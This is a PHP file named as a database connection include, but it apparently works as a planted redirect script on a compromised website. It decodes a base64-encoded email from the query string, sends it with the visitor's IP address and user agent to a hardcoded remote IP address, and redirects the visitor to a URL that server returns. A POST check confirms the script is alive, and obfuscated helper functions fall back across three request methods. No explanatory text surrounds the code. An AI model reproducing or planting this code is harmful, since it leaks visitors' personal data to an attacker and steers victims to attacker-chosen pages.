db_conn.inc.php

<?php
if (isset($_POST['test_a']) && isset($_POST['test_b']))
{
    echo $_POST['test_a'] * $_POST['test_b'];
    exit;
}

error_reporting(0);

$qs = urldecode($_SERVER['QUERY_STRING']);

$double = 0;
$email  = @base64_decode($qs);
if (strpos($email,'@')===false)
{
    $email = @base64_decode($email);
    $double = 1;
}


$email = urlencode($email);

if (!empty($_SERVER["HTTP_CF_CONNECTING_IP"]))
{
    $ip = $_SERVER["HTTP_CF_CONNECTING_IP"];
}
else
{
    $ip = isset($_SERVER['REMOTE_ADDR']) ? $_SERVER['REMOTE_ADDR'] : '';
}

$ua = !empty($_SERVER['HTTP_USER_AGENT']) ? urlencode($_SERVER['HTTP_USER_AGENT']) : '';

$url = jk____("http://194.28.112.156/corpsbase/priemnik2.php?ip=$ip&email=$email&dbl=$double&ua=$ua");

if(!$double && !empty($url)) {
    header('Location: ' . $url);
} else {
    header('HTTP/1.1 404 Not Found');
}



function jk_($url)
{
    $ctx = stream_context_create(array('http'=>   array('timeout' => 5 )));
    return file_get_contents($url,false,$ctx);
}

function jk__( $sock,$host, $path, $query )
{
    $response = '';

    fputs($sock, "GET " . $path . "?" . $query . "  HTTP/1.0\r\n" .
        "Host: $host\r\n" .
        "Accept: */*\r\n" .
        "Referer: http://$host\r\n\r\n");
    while ( $line = fread( $sock, 4096 ) )
    {
        $response .= $line;
    }
    fclose( $sock );
    $pos      = strpos($response, "\r\n\r\n");
    $response = substr($response, $pos + 4);
    return $response;
}


function jk___($url)
{
    $ch = curl_init($url);
    curl_setopt($ch, CURLOPT_HEADER, FALSE);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
    curl_setopt($ch, CURLOPT_TIMEOUT, 5);
    $result = curl_exec($ch);
    curl_close($ch);
    return $result;
}


function jk____($url)
{
    if( ini_get("allow_url_fopen") == 1)
    {
        return jk_($url);
    }
    else
    {
        $url_1 = parse_url($url);

        if($sock = @fsockopen($url_1['host'], 80,$errno, $errstr,5))
        {
            return jk__( $sock, $url_1['host'], $url_1['path'], $url_1['query'] );
        }
        elseif( @function_exists('curl_init') )
        {
            return jk___($url);
        }
    }
}